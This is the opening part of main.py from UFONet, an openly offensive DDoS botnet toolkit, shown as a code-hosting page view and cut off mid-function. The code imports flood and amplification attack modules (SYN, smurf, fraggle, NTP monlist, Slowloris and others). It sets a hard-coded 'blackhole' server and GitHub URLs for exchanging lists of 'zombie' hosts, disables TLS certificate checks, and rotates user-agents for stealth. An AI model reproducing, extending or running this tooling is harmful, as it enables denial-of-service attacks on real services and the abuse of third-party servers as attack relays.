main.py 283 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871881891901911921931941951961971981992002012022032042052062072082092102112122132142152162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213223233243253263273283293303313323333343353363373383393403413423433443453463473483493503513523533543553563573583593603613623633643653663673683693703713723733743753763773783793803813823833843853863873883893903913923933943953963973983994004014024034044054064074084094104114124134144154164174184194204214224234244254264274284294304314324334344354364374384394404414424434444454464474484494504514524534544554564574584594604614624634644654664674684694704714724734744754764774784794804814824834844854864874884894904914924934944954964974984995005015025035045055065075085095105115125135145155165175185195205215225235245255265275285295305315325335345355365375385395405415425435445455465475485495505515525535545555565575585595605615625635645655665675685695705715725735745755765775785795805815825835845855865875885895905915925935945955965975985996006016026036046056066076086096106116126136146156166176186196206216226236246256266276286296306316326336346356366376386396406416426436446456466476486496506516526536546556566576586596606616626636646656666676686696706716726736746756766776786796806816826836846856866876886896906916926936946956966976986997007017027037047057067077087097107117127137147157167177187197207217227237247257267277287297307317327337347357367377387397407417427437447457467477487497507517527537547557567577587597607617627637647657667677687697707717727737747757767777787797807817827837847857867877887897907917927937947957967977987998008018028038048058068078088098108118128138148158168178188198208218228238248258268278288298308318328338348358368378388398408418428438448458468478488498508518528538548558568578588598608618628638648658668678688698708718728738748758768778788798808818828838848858868878888898908918928938948958968978988999009019029039049059069079089099109119129139149159169179189199209219229239249259269279289299309319329339349359369379389399409419429439449459469479489499509519529539549559569579589599609619629639649659669679689699709719729739749759769779789799809819829839849859869879889899909919929939949959969979989991000100110021003100410051006100710081009101010111012101310141015101610171018101910201021102210231024102510261027102810291030103110321033103410351036103710381039104010411042104310441045104610471048104910501051105210531054105510561057105810591060106110621063106410651066106710681069107010711072107310741075107610771078107910801081108210831084108510861087108810891090109110921093109410951096109710981099110011011102110311041105110611071108110911101111111211131114111511161117111811191120112111221123112411251126112711281129113011311132113311341135113611371138113911401141114211431144114511461147114811491150115111521153115411551156115711581159116011611162116311641165116611671168116911701171117211731174117511761177117811791180118111821183118411851186118711881189119011911192119311941195119611971198119912001201120212031204120512061207120812091210121112121213121412151216121712181219122012211222122312241225122612271228122912301231123212331234123512361237123812391240124112421243124412451246124712481249125012511252125312541255125612571258125912601261126212631264126512661267126812691270127112721273127412751276127712781279128012811282128312841285128612871288128912901291129212931294129512961297129812991300130113021303130413051306130713081309131013111312131313141315131613171318131913201321132213231324132513261327132813291330133113321333133413351336133713381339134013411342134313441345134613471348134913501351135213531354135513561357135813591360136113621363136413651366136713681369137013711372137313741375137613771378137913801381138213831384138513861387138813891390139113921393139413951396139713981399140014011402140314041405140614071408140914101411141214131414141514161417141814191420142114221423142414251426142714281429143014311432143314341435143614371438143914401441144214431444144514461447144814491450145114521453145414551456145714581459146014611462146314641465146614671468146914701471147214731474147514761477147814791480148114821483148414851486148714881489149014911492149314941495149614971498149915001501150215031504150515061507150815091510151115121513151415151516151715181519152015211522152315241525152615271528152915301531153215331534153515361537153815391540154115421543154415451546154715481549155015511552155315541555155615571558155915601561156215631564156515661567156815691570157115721573157415751576157715781579158015811582158315841585158615871588158915901591159215931594159515961597159815991600160116021603160416051606160716081609161016111612161316141615161616171618161916201621162216231624162516261627162816291630163116321633163416351636163716381639164016411642164316441645164616471648164916501651165216531654165516561657165816591660166116621663166416651666166716681669167016711672167316741675167616771678167916801681168216831684168516861687168816891690169116921693169416951696169716981699170017011702170317041705170617071708170917101711171217131714171517161717171817191720172117221723172417251726172717281729173017311732173317341735173617371738173917401741174217431744174517461747174817491750175117521753175417551756175717581759176017611762176317641765176617671768176917701771177217731774177517761777177817791780178117821783178417851786178717881789179017911792179317941795179617971798179918001801180218031804180518061807180818091810181118121813181418151816181718181819182018211822182318241825182618271828182918301831183218331834183518361837183818391840184118421843184418451846184718481849185018511852185318541855185618571858185918601861186218631864186518661867186818691870187118721873187418751876187718781879188018811882188318841885188618871888188918901891189218931894189518961897189818991900190119021903190419051906190719081909191019111912191319141915191619171918191919201921192219231924192519261927192819291930193119321933193419351936193719381939194019411942194319441945194619471948194919501951195219531954195519561957195819591960196119621963196419651966196719681969197019711972197319741975197619771978197919801981198219831984198519861987198819891990199119921993199419951996199719981999200020012002200320042005200620072008200920102011201220132014201520162017201820192020202120222023202420252026202720282029203020312032203320342035203620372038203920402041204220432044204520462047204820492050205120522053205420552056205720582059206020612062206320642065206620672068206920702071207220732074207520762077207820792080208120822083208420852086208720882089209020912092209320942095209620972098209921002101210221032104210521062107210821092110211121122113211421152116211721182119212021212122212321242125212621272128212921302131213221332134213521362137213821392140214121422143214421452146214721482149215021512152215321542155215621572158215921602161216221632164216521662167216821692170217121722173217421752176217721782179218021812182218321842185218621872188218921902191219221932194219521962197219821992200220122022203220422052206220722082209221022112212221322142215221622172218221922202221222222232224222522262227222822292230223122322233223422352236223722382239224022412242224322442245224622472248224922502251225222532254225522562257225822592260226122622263226422652266226722682269227022712272227322742275227622772278227922802281228222832284228522862287228822892290229122922293229422952296229722982299230023012302230323042305230623072308230923102311231223132314231523162317231823192320232123222323232423252326232723282329233023312332233323342335233623372338233923402341234223432344234523462347234823492350235123522353235423552356235723582359236023612362236323642365236623672368236923702371237223732374237523762377237823792380238123822383238423852386238723882389239023912392239323942395239623972398239924002401240224032404240524062407240824092410241124122413241424152416241724182419242024212422242324242425242624272428242924302431243224332434243524362437243824392440244124422443244424452446244724482449245024512452245324542455245624572458245924602461246224632464246524662467246824692470247124722473247424752476247724782479248024812482248324842485248624872488248924902491249224932494249524962497249824992500250125022503250425052506250725082509251025112512251325142515251625172518251925202521252225232524252525262527252825292530253125322533253425352536253725382539254025412542254325442545254625472548254925502551255225532554255525562557255825592560256125622563256425652566256725682569257025712572257325742575257625772578257925802581258225832584258525862587258825892590259125922593259425952596259725982599260026012602260326042605260626072608260926102611261226132614261526162617261826192620262126222623262426252626262726282629263026312632263326342635263626372638263926402641264226432644264526462647264826492650265126522653265426552656265726582659266026612662266326642665266626672668266926702671267226732674267526762677267826792680268126822683268426852686268726882689269026912692269326942695269626972698269927002701270227032704270527062707270827092710271127122713271427152716271727182719272027212722272327242725272627272728272927302731273227332734273527362737273827392740274127422743274427452746274727482749275027512752275327542755275627572758275927602761276227632764276527662767276827692770277127722773277427752776277727782779278027812782278327842785278627872788278927902791279227932794279527962797279827992800280128022803280428052806280728082809281028112812281328142815281628172818281928202821282228232824282528262827282828292830283128322833283428352836283728382839284028412842284328442845284628472848284928502851285228532854285528562857285828592860286128622863286428652866286728682869287028712872287328742875287628772878287928802881288228832884288528862887288828892890289128922893289428952896289728982899290029012902290329042905290629072908290929102911291229132914291529162917291829192920292129222923292429252926292729282929293029312932293329342935293629372938293929402941294229432944294529462947294829492950295129522953295429552956295729582959296029612962296329642965296629672968296929702971297229732974297529762977297829792980298129822983298429852986298729882989299029912992299329942995299629972998299930003001300230033004300530063007300830093010301130123013301430153016301730183019302030213022302330243025302630273028302930303031303230333034303530363037303830393040304130423043304430453046304730483049305030513052305330543055305630573058305930603061306230633064306530663067306830693070307130723073307430753076307730783079308030813082308330843085308630873088308930903091309230933094309530963097309830993100310131023103310431053106310731083109311031113112311331143115311631173118311931203121312231233124312531263127312831293130313131323133313431353136313731383139314031413142314331443145314631473148314931503151315231533154315531563157315831593160316131623163316431653166316731683169317031713172317331743175317631773178317931803181318231833184318531863187318831893190319131923193319431953196319731983199320032013202320332043205320632073208320932103211321232133214321532163217321832193220322132223223322432253226322732283229323032313232323332343235323632373238323932403241324232433244324532463247324832493250325132523253325432553256325732583259326032613262326332643265326632673268326932703271327232733274327532763277327832793280328132823283328432853286328732883289329032913292329332943295329632973298329933003301330233033304330533063307330833093310331133123313331433153316331733183319332033213322332333243325332633273328332933303331333233333334333533363337333833393340334133423343334433453346334733483349335033513352335333543355335633573358335933603361336233633364336533663367336833693370337133723373337433753376337733783379338033813382338333843385338633873388338933903391339233933394339533963397339833993400340134023403340434053406340734083409341034113412341334143415341634173418341934203421342234233424342534263427342834293430343134323433343434353436343734383439344034413442344334443445344634473448344934503451345234533454345534563457345834593460346134623463346434653466346734683469347034713472347334743475347634773478347934803481348234833484348534863487348834893490349134923493349434953496349734983499350035013502350335043505350635073508350935103511351235133514351535163517351835193520352135223523352435253526352735283529353035313532353335343535353635373538353935403541354235433544354535463547354835493550355135523553355435553556355735583559356035613562356335643565356635673568356935703571357235733574357535763577357835793580358135823583358435853586358735883589359035913592359335943595359635973598359936003601360236033604360536063607360836093610361136123613361436153616361736183619362036213622362336243625362636273628362936303631363236333634363536363637363836393640364136423643364436453646364736483649365036513652365336543655365636573658365936603661366236633664366536663667366836693670367136723673367436753676367736783679368036813682368336843685368636873688368936903691369236933694369536963697369836993700370137023703370437053706370737083709371037113712371337143715371637173718371937203721372237233724372537263727372837293730373137323733373437353736373737383739374037413742374337443745374637473748374937503751375237533754375537563757375837593760376137623763376437653766376737683769377037713772377337743775377637773778377937803781378237833784378537863787378837893790379137923793379437953796379737983799380038013802380338043805380638073808380938103811381238133814381538163817381838193820382138223823382438253826382738283829383038313832383338343835383638373838383938403841384238433844384538463847384838493850385138523853385438553856385738583859386038613862386338643865386638673868386938703871387238733874387538763877387838793880388138823883388438853886388738883889389038913892389338943895389638973898389939003901390239033904390539063907390839093910391139123913391439153916391739183919392039213922392339243925392639273928392939303931393239333934393539363937393839393940394139423943394439453946394739483949395039513952395339543955395639573958395939603961396239633964396539663967396839693970397139723973397439753976397739783979398039813982398339843985398639873988398939903991399239933994399539963997399839994000400140024003400440054006400740084009401040114012401340144015401640174018401940204021402240234024402540264027402840294030403140324033403440354036403740384039404040414042404340444045404640474048404940504051405240534054405540564057405840594060406140624063406440654066406740684069407040714072407340744075407640774078407940804081408240834084408540864087408840894090409140924093409440954096409740984099410041014102410341044105410641074108410941104111411241134114411541164117411841194120412141224123412441254126412741284129413041314132413341344135413641374138413941404141414241434144414541464147414841494150415141524153415441554156415741584159416041614162416341644165416641674168416941704171417241734174417541764177417841794180418141824183418441854186418741884189419041914192419341944195419641974198419942004201420242034204420542064207420842094210421142124213421442154216421742184219422042214222422342244225422642274228422942304231423242334234423542364237423842394240424142424243424442454246424742484249425042514252425342544255425642574258425942604261426242634264426542664267426842694270427142724273427442754276427742784279428042814282428342844285428642874288428942904291429242934294429542964297429842994300430143024303430443054306430743084309431043114312431343144315431643174318431943204321432243234324432543264327432843294330433143324333433443354336433743384339434043414342434343444345434643474348434943504351435243534354435543564357435843594360436143624363436443654366436743684369437043714372437343744375437643774378437943804381438243834384438543864387438843894390439143924393439443954396439743984399440044014402440344044405440644074408440944104411441244134414441544164417441844194420442144224423442444254426442744284429443044314432443344344435443644374438443944404441444244434444444544464447444844494450445144524453445444554456445744584459446044614462446344644465446644674468446944704471447244734474447544764477447844794480448144824483448444854486448744884489449044914492449344944495449644974498449945004501450245034504450545064507450845094510451145124513451445154516451745184519452045214522452345244525452645274528452945304531453245334534453545364537453845394540454145424543454445454546454745484549455045514552455345544555455645574558455945604561456245634564456545664567456845694570457145724573457445754576457745784579458045814582458345844585458645874588458945904591459245934594459545964597459845994600460146024603460446054606460746084609461046114612461346144615461646174618461946204621462246234624462546264627462846294630463146324633463446354636463746384639464046414642464346444645464646474648464946504651465246534654465546564657465846594660466146624663466446654666466746684669467046714672467346744675467646774678467946804681468246834684468546864687468846894690469146924693469446954696469746984699470047014702470347044705470647074708470947104711471247134714471547164717471847194720472147224723472447254726472747284729473047314732473347344735473647374738473947404741474247434744474547464747474847494750475147524753475447554756475747584759476047614762476347644765476647674768476947704771477247734774477547764777477847794780478147824783478447854786478747884789479047914792479347944795479647974798479948004801480248034804480548064807480848094810481148124813481448154816481748184819482048214822482348244825482648274828482948304831483248334834483548364837483848394840484148424843484448454846484748484849485048514852485348544855485648574858485948604861486248634864486548664867486848694870487148724873487448754876487748784879488048814882488348844885488648874888488948904891489248934894489548964897489848994900490149024903490449054906490749084909491049114912491349144915491649174918491949204921492249234924492549264927492849294930493149324933493449354936493749384939494049414942494349444945494649474948494949504951495249534954495549564957495849594960496149624963496449654966496749684969497049714972497349744975497649774978497949804981498249834984498549864987498849894990499149924993499449954996499749984999500050015002500350045005500650075008500950105011501250135014501550165017501850195020502150225023502450255026502750285029503050315032503350345035503650375038503950405041504250435044504550465047504850495050505150525053505450555056505750585059506050615062506350645065506650675068506950705071507250735074507550765077507850795080508150825083508450855086508750885089509050915092509350945095509650975098509951005101510251035104510551065107510851095110511151125113511451155116511751185119512051215122512351245125512651275128512951305131513251335134513551365137513851395140514151425143514451455146514751485149515051515152515351545155515651575158515951605161516251635164516551665167516851695170517151725173517451755176517751785179518051815182518351845185518651875188518951905191519251935194519551965197519851995200520152025203520452055206520752085209521052115212521352145215521652175218521952205221522252235224522552265227522852295230523152325233523452355236523752385239524052415242524352445245524652475248524952505251525252535254525552565257525852595260526152625263526452655266526752685269527052715272527352745275527652775278527952805281528252835284528552865287528852895290529152925293529452955296529752985299530053015302530353045305530653075308530953105311531253135314531553165317531853195320532153225323532453255326532753285329533053315332533353345335533653375338533953405341534253435344534553465347534853495350535153525353535453555356535753585359536053615362536353645365536653675368536953705371537253735374537553765377537853795380538153825383538453855386538753885389539053915392539353945395539653975398539954005401540254035404540554065407540854095410541154125413541454155416541754185419542054215422542354245425542654275428542954305431543254335434543554365437543854395440544154425443544454455446544754485449545054515452545354545455545654575458545954605461546254635464546554665467546854695470547154725473547454755476547754785479548054815482548354845485548654875488548954905491549254935494549554965497549854995500550155025503550455055506550755085509551055115512551355145515551655175518551955205521552255235524552555265527552855295530553155325533553455355536553755385539554055415542554355445545554655475548554955505551555255535554555555565557555855595560556155625563556455655566556755685569557055715572557355745575557655775578557955805581558255835584558555865587558855895590559155925593559455955596559755985599560056015602560356045605560656075608560956105611561256135614561556165617561856195620562156225623562456255626562756285629563056315632563356345635563656375638563956405641564256435644564556465647564856495650565156525653565456555656565756585659566056615662566356645665566656675668566956705671567256735674567556765677
  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-"
  3. """
  4. This file is part of the UFONet project, https://ufonet.03c8.net
  5. Copyright (c) 2013/2021 | psy <epsylon@riseup.net>
  6. You should have received a copy of the GNU General Public License along
  7. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  8. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  9. """
  10. import os, sys, re, traceback, random, time, threading, base64, string, math
  11. import io, socket, ssl, cgi, json, gzip
  12. try:
  13. from urllib.parse import urlparse as urlparse
  14. except:
  15. from urlparse import urlparse as urlparse
  16. try:
  17. import urllib.request, urllib.error, urllib.parse
  18. except:
  19. print ("\n[Error] UFONet no longer supports Python2: (https://www.python.org/doc/sunset-python-2/)\n\n[Info] [AI] Try to run the tool with Python3.x.y (ex: python3 ufonet)\n")
  20. sys.exit()
  21. from uuid import getnode
  22. from random import randrange, shuffle
  23. from .options import UFONetOptions
  24. from .update import Updater
  25. from .herd import Herd
  26. from .zombie import Zombie
  27. from .doll import Doll
  28. from core.tools.inspector import Inspector
  29. from core.tools.abductor import Abductor
  30. from core.tools.ufoscan import UFOSCAN
  31. from core.mods.loic import LOIC
  32. from core.mods.loris import LORIS
  33. from core.mods.ufosyn import UFOSYN
  34. from core.mods.spray import SPRAY
  35. from core.mods.smurf import SMURF
  36. from core.mods.xmas import XMAS
  37. from core.mods.nuke import NUKE
  38. from core.mods.tachyon import TACHYON
  39. from core.mods.monlist import MONLIST
  40. from core.mods.sniper import SNIPER
  41. from core.mods.ufoack import UFOACK
  42. from core.mods.uforst import UFORST
  43. from core.mods.droper import DROPER
  44. from core.mods.overlap import OVERLAP
  45. from core.mods.pinger import PINGER
  46. from core.mods.ufoudp import UFOUDP
  47. from core.mods.fraggle import FRAGGLE
  48. DEBUG = False # use 'True' for detailed traceback
  49. class UFONet(object):
  50. def __init__(self):
  51. self.exit_msg = 'Donate BTC (Bitcoin) to keep UFONet (https://ufonet.03c8.net) strong!' # set msg show at the end [FILO ;-)]
  52. self.blackhole = '46.163.118.220' # default download/upload zombies [Blackhole] [Server] / Try [DIY] your own [Mirror]...
  53. self.GIT_REPOSITORY = 'https://code.03c8.net/epsylon/ufonet' # oficial code source [OK! 22/12/2018]
  54. self.GIT_REPOSITORY2 = 'https://github.com/epsylon/ufonet' # mirror source [since: 04/06/2018]
  55. self.github_zombies = 'https://raw.githubusercontent.com/epsylon/ufonet/master/botnet/' # default [RAW] download/upload zombies [Blackhole] [GitHub] [DIY]
  56. self.external_check_service1 = 'https://status.ws/' # set external check service 1 [OK! 26/02/2020]
  57. self.external_check_service2 = 'https://downforeveryoneorjustme.com/' # set external check service 2 [OK! 26/02/2020]
  58. self.check_tor_url = 'https://check.torproject.org/' # TOR status checking site
  59. self.check_ip_service1 = 'https://checkip.org/' # set external check ip service 1 [OK! 06/06/2020]
  60. self.check_ip_service2 = 'https://whatismyip.org/' # set external check ip service 2 [OK! 06/06/2020]
  61. self.check_ip_service3 = 'https://ip.42.pl/ra' # set external check ip service 3 [OK! [06/06/2020]
  62. self.agents_file = 'core/txt/user-agents.txt' # set source path to retrieve user-agents
  63. self.motherships_file = 'core/txt/motherships.txt' # set source path to retrieve mothership names
  64. self.zombies_file = 'botnet/zombies.txt' # set source path to retrieve [Zombies]
  65. self.aliens_file = 'botnet/aliens.txt' # set source path to retrieve [Aliens]
  66. self.dnss_file = 'botnet/dns.txt' # set source path to retrieve [DNSs]
  67. self.droids_file = 'botnet/droids.txt' # set source path to retrieve [Droids]
  68. self.ucavs_file = 'botnet/ucavs.txt' # set source path to retrieve 'ucavs'
  69. self.rpcs_file = 'botnet/rpcs.txt' # set source path to retrieve 'rpcs'
  70. self.ntps_file = 'botnet/ntp.txt' # set source path to retrieve [NTPs]
  71. self.snmps_file = 'botnet/snmp.txt' # set source path to retrieve [SNMPs]
  72. self.humans_file = 'botnet/humans.txt' # set source path to retrieve 'humans'
  73. self.dorks_file = 'botnet/dorks.txt' # set source path to retrieve [Dorks]
  74. self.mothership_stats_file = 'core/json/stats.json' # set source for mothership stats
  75. self.timeline_file = 'docs/VERSION' # set source for code releases
  76. self.links_file = "data/links.txt" # set source path to retrieve [Blackhole] [Links]
  77. self.streams_file = "data/streams.txt" # set source path to retrieve [Blackhole] [Streams]
  78. self.globalnet_file = "data/globalnet.txt" # set source path to retrieve [Blackhole] [Globalnet]
  79. self.news_file = "data/news.txt" # set source path to retrieve [Blackhole] [News]
  80. self.tv_file = "data/tv.txt" # set source path to retrieve [Blackhole] [TV]
  81. self.missions_file = "data/missions.txt" # set source path to retrieve [Blackhole] [Missions]
  82. self.board_file = "data/board.txt" # set source path to retrieve [Blackhole] [Board]
  83. self.grid_file = "data/grid.txt" # set source path to retrieve [Blackhole] [Grid]
  84. self.wargames_file = "data/wargames.txt" # set source path to retrieve [Blackhole] [Wargames]
  85. self.examples_file = "docs/examples.txt" # set source path to retrieve [Examples]
  86. self.misc_file = "core/txt/misc.txt" # set source path to retrieve [Miscellania] cites
  87. self.referer = '' # black magic
  88. self.port = "8080" # default injection port
  89. self.mothershipname = "core/txt/shipname.txt"
  90. self.default_mothership_name = "l4m3r-lulz/0\n" # default mothership name
  91. self.mothership_model_file = 'core/txt/model.txt' # set source for mothership model
  92. self.warping_path = '/var/www/ufonet' # set source for warping path
  93. self.warping_folder_permissions = 0o644 # set permission for warping folder
  94. f = open(self.mothership_model_file) # extract mothership model
  95. self.mothership_model = f.readlines()
  96. for model in self.mothership_model:
  97. model = model.rstrip('\n')
  98. self.mothership_model = model
  99. f.close()
  100. self.mothership_baptism() # generating static name/id for your mothership ;-)
  101. self.head = False
  102. self.payload = False
  103. self.external = False
  104. self.attack_mode = False
  105. self.connection_failed = False
  106. self.total_possible_zombies = 0
  107. self.herd = Herd(self)
  108. self.sem = False
  109. self.db_flash = 0 # db stress counter
  110. self.total_aliens = 0
  111. self.aliens_hit = 0
  112. self.aliens_fail = 0
  113. self.total_droids = 0
  114. self.droids_hit = 0
  115. self.droids_fail = 0
  116. self.total_ucavs = 0
  117. self.ucavs_hit = 0
  118. self.ucavs_fail = 0
  119. self.total_rpcs = 0
  120. self.rpcs_hit = 0
  121. self.rpcs_fail = 0
  122. self.total_loic = 0
  123. self.total_loris = 0
  124. self.total_syn = 0
  125. self.total_spray = 0
  126. self.total_smurf = 0
  127. self.total_fraggle = 0
  128. self.total_xmas = 0
  129. self.total_ufoack = 0
  130. self.total_uforst = 0
  131. self.total_droper = 0
  132. self.total_overlap = 0
  133. self.total_pinger = 0
  134. self.total_ufoudp = 0
  135. self.total_nuke = 0
  136. self.total_tachyon = 0
  137. self.total_monlist = 0
  138. self.total_sniper = 0
  139. self.total_zombies_failed_connection = 0
  140. self.ctx = ssl.create_default_context() # creating context to bypass SSL cert validation (black magic)
  141. self.ctx.check_hostname = False
  142. self.ctx.verify_mode = ssl.CERT_NONE
  143. self.nat_error_flag = "OFF"
  144. self.trans_zombies = 0
  145. self.scanned_zombies = 0
  146. self.loadcheck_counter = 0
  147. self.loadcheck_prev_size = None
  148. self.loadcheck_prev_load = None
  149. self.loadcheck_first_size = None
  150. self.loadcheck_first_load = None
  151. self.loadcheck_size_list = []
  152. self.loadcheck_load_list = []
  153. self.loadcheck_size_median = None
  154. self.loadcheck_size_max = None
  155. self.loadcheck_size_min = None
  156. self.loadcheck_load_median = None
  157. self.loadcheck_size_max = None
  158. self.loadcheck_size_min = None
  159. self.num_is_up = 0 # counter for [UCAVs] 'up' reports
  160. self.num_is_down = 0 # counter for [UCAVs] 'down' reports
  161. self.expire_timing = 30 # default expiring time per round
  162. self.extra_zombies_lock = False # used to lock threading flow when [ARMY] is required
  163. self.ac_control = [] # used by 'herd.py' to lock threading flow when [Zombies] are returning
  164. def mothership_baptism(self):
  165. if os.path.exists(self.mothershipname) == True:
  166. f = open(self.mothershipname)
  167. self.mothership_id = f.read()
  168. f.close()
  169. else:
  170. self.mothership_ids = []
  171. try:
  172. f = open(self.motherships_file)
  173. motherships = f.readlines()
  174. f.close()
  175. for ship in motherships:
  176. ship = ship.encode("utf-8")
  177. self.mothership_ids.append(base64.urlsafe_b64encode(ship))
  178. try:
  179. self.mothership_id = str(base64.b64decode(random.choice(self.mothership_ids).strip()), 'utf-8')
  180. except:
  181. try:
  182. self.mothership_id = str(base64.b64decode(random.choice(self.mothership_ids).strip()), 'latin-1')+"\n" # id (hack&slash!) creation ;-)
  183. except:
  184. self.mothership_id = self.default_mothership_name
  185. except:
  186. self.mothership_id = self.default_mothership_name
  187. if len(str(self.mothership_id.upper())) > 20: # motherhip naming anti-cheating! ;-)
  188. self.mothership_id = self.default_mothership_name
  189. m = open(self.mothershipname, "w") # write mothership name to a static file
  190. m.write(str(self.mothership_id.upper()))
  191. m.close()
  192. def create_options(self, args=None):
  193. self.optionParser = UFONetOptions()
  194. self.options = self.optionParser.get_options(args)
  195. if not self.options:
  196. return False
  197. return self.options
  198. def banner_welcome(self):
  199. print(" ____ ")
  200. print(" || / /\ \ || #===============================================#")
  201. print(" -(00)- + (XX) + -(00)- || ||")
  202. print(" || || O ==*~~~~~~*== 0 || || || > Botnet [DDoS] # > Close Combat [DoS] ||")
  203. print(" -(00)- (0) XX (0) -(00)- || ||")
  204. print(" || \| (00) |/ || || |-> ZOMBIES # |-> LOIC ||")
  205. print(" (O)_ (O) 0'----'0 (O) _(O) || |-> DROIDS # |-> LORIS ||")
  206. print(" | |.''.( xx ).''.| | || |-> ALIENS # |-> UFOSYN ||")
  207. print(" .'.' X|'..'|X '.'. || |-> UCAVs # |-> XMAS ||")
  208. print(" .-. .' /'--.__|_00_|__.--'\ '. .-. || |-> X-RPCs # |-> NUKE ||")
  209. print(" (O).)-|0| \ x| ## |x / |0|-(.(O) || |-> DBSTRESS # |-> UFOACK ||")
  210. print(" `-' '-'-._'-./ -00- \.-'_.-'-' `-' || |-> SPRAY # |-> UFORST ||")
  211. print(" _ | || '-.___||___.-' || | _ || |-> SMURF # |-> DROPER ||")
  212. print(" .' _ | ||==O | __ | O==|| | _ '. || |-> TACHYON # |-> OVERLAP ||")
  213. print(" / .' ''.| || | /_00_\ | || |.'' '. \ || |-> MONLIST # |-> PINGER ||")
  214. print(" | '### | =| | ###### | |= |' ### | || |-> FRAGGLE # |-> UFOUDP ||")
  215. print(" | |(0)| '. 0\||__**_ ||/0 .' |(0)| | || |-> SNIPER # ||")
  216. print(" \ '._.' '. | \_##_/ | .' '._.' / || ||")
  217. print(" '.__ ____0_'.|__'--'__|.'_0____ __.' #|=============================================|#")
  218. print(" .'_.-| YY |-._'. || ||")
  219. print(" || -> [ UFONet: https://ufonet.03c8.net ] <- ||")
  220. print(" + Class: PSYoPs / "+str(self.mothership_model)+" + || ||")
  221. print(" #|=============================================|#")
  222. print("")
  223. def banner(self):
  224. print('='*75, "\n")
  225. print("888 888 8888888888 .d88888b. 888b 888 888 ")
  226. print("888 888 888 d88P Y888b 8888b 888 888 ")
  227. print("888 888 888 888 888 88888b 888 888 ")
  228. print("888 888 8888888 888 888 888Y88b 888 .d88b. 888888 ")
  229. print("888 888 888 888 888 888 Y88b888 d8P Y8b 888 ")
  230. print("888 888 888 888 888 888 Y88888 88888888 888 ")
  231. print("Y88b. .d88P 888 Y88b. .d88P 888 Y8888 Y8b. Y88b. ")
  232. print(" 'Y88888P' 888 'Y88888P' 888 Y888 'Y8888 'Y8888")
  233. print(self.optionParser.description, "\n")
  234. print('='*75)
  235. def generate_exit_msg(self):
  236. self.exit_msg = "Generating random exit... \n\n"
  237. try:
  238. f = open(self.misc_file)
  239. m = f.readlines()
  240. f.close()
  241. self.exit_msg += " -> "+str(random.choice(m).strip())
  242. except:
  243. self.exit_msg += " -> Donate BTC (Bitcoin) to keep #UFONet (https://ufonet.03c8.net) strong!"
  244. def AI(self):
  245. try:
  246. import turtle as AI
  247. print("\n[AI] Making a unique drawing using 'Turtle' (Feurzig & Papert - 1966) -> [OK!]\n")
  248. colors = ['red', 'purple', 'blue', 'green', 'orange', 'yellow']
  249. bg = random.choice(colors).strip()
  250. t = AI.Pen()
  251. AI.bgcolor(bg)
  252. r = random.randrange(100,100000)
  253. for x in range(r):
  254. t.pencolor(colors[x%6])
  255. w = random.randrange(100,1000)
  256. t.width(x/w + 1)
  257. t.forward(x)
  258. l = random.randrange(50,1000)
  259. t.left(l)
  260. except:
  261. print("[AI] %!$1#9#84#~... -> [Exiting!]")
  262. pass
  263. def round_float(self, num):
  264. return str(int(round(num, -1)))[2] # black magic
  265. def show_mac_address(self):
  266. mac = getnode() # to get physical address
  267. hex_mac = str(":".join(re.findall('..', '%012x' % mac)))
  268. return hex_mac
  269. def show_ips(self):
  270. import requests
  271. try:
  272. s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  273. s.connect(("8.8.8.8", 80))
  274. private_ip = s.getsockname()[0] # black magic
  275. s.close()
  276. except:
  277. private_ip = "Unknown"
  278. try:
  279. public_ip = requests.get(self.check_ip_service3).text
  280. except:
  281. try:
  282. public_ip = requests.get(self.check_ip_service2).text
  283. except:
  284. try:
  285. public_ip = requests.get(self.check_ip_service1).text
  286. except:
  287. public_ip = "Unknown"
  288. return private_ip, public_ip
  289. def try_running(self, func, error, args=None):
  290. options = self.options
  291. args = args or []
  292. try:
  293. return func(*args)
  294. except Exception as e:
  295. if DEBUG == True:
  296. print(error, "error")
  297. traceback.print_exc()
  298. def checkeuid(self):
  299. try:
  300. euid = os.geteuid()
  301. except:
  302. print("[Error] [AI] [UFONet] doesn't work correctly in systems with closed licenses...-> [Exiting!]\n")
  303. print("[AI] "+self.exit_msg+"\n")
  304. sys.exit(2) # return
  305. return euid
  306. def start_ship_engine(self):
  307. self.agents = [] # generating available user-agents
  308. f = open(self.agents_file)
  309. agents = f.readlines()
  310. f.close()
  311. for agent in agents:
  312. self.agents.append(agent)
  313. self.user_agent = random.choice(self.agents).strip()
  314. self.search_engines = [] # available dorking search engines
  315. self.search_engines.append('bing') # [13/07/2021: OK!]
  316. self.search_engines.append('yahoo') # [13/07/2021: OK!]
  317. self.search_engines.append('duck') # [13/07/2021: OK!]
  318. #self.search_engines.append('startpage') # [01/02/2020: deprecated! -> blocking instream params search]
  319. #self.search_engines.append('yandex') # [03/02/2018: deprecated! -> captchasound]
  320. #self.search_engines.append('google') # [09/08/2016: modified -> not working from TOR]
  321. if not os.path.exists("core/json/"): # create gui json cfg files folder
  322. os.mkdir("core/json/")
  323. self.banner_welcome()
  324. self.update_flying_stats() # update flying time stats
  325. chargo = self.check_mothership_chargo() # check mothership chargo
  326. self.update_max_chargo(int(chargo)) # update max chargo stats
  327. self.generate_exit_msg() # generate random exit msg
  328. def run(self, opts=None):
  329. if opts:
  330. self.create_options(opts)
  331. options = self.options
  332. # start threads
  333. if not self.options.threads:
  334. self.options.threads=5 # default number of threads
  335. self.sem = threading.Semaphore(self.options.threads)
  336. # start ship engine
  337. self.start_ship_engine()
  338. # check proxy options
  339. proxy = options.proxy
  340. if options.proxy:
  341. try:
  342. pattern = 'http[s]?://(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]):[0-9][0-9][0-9][0-9]'
  343. m = re.search(pattern, proxy)
  344. if m is None:
  345. self.banner()
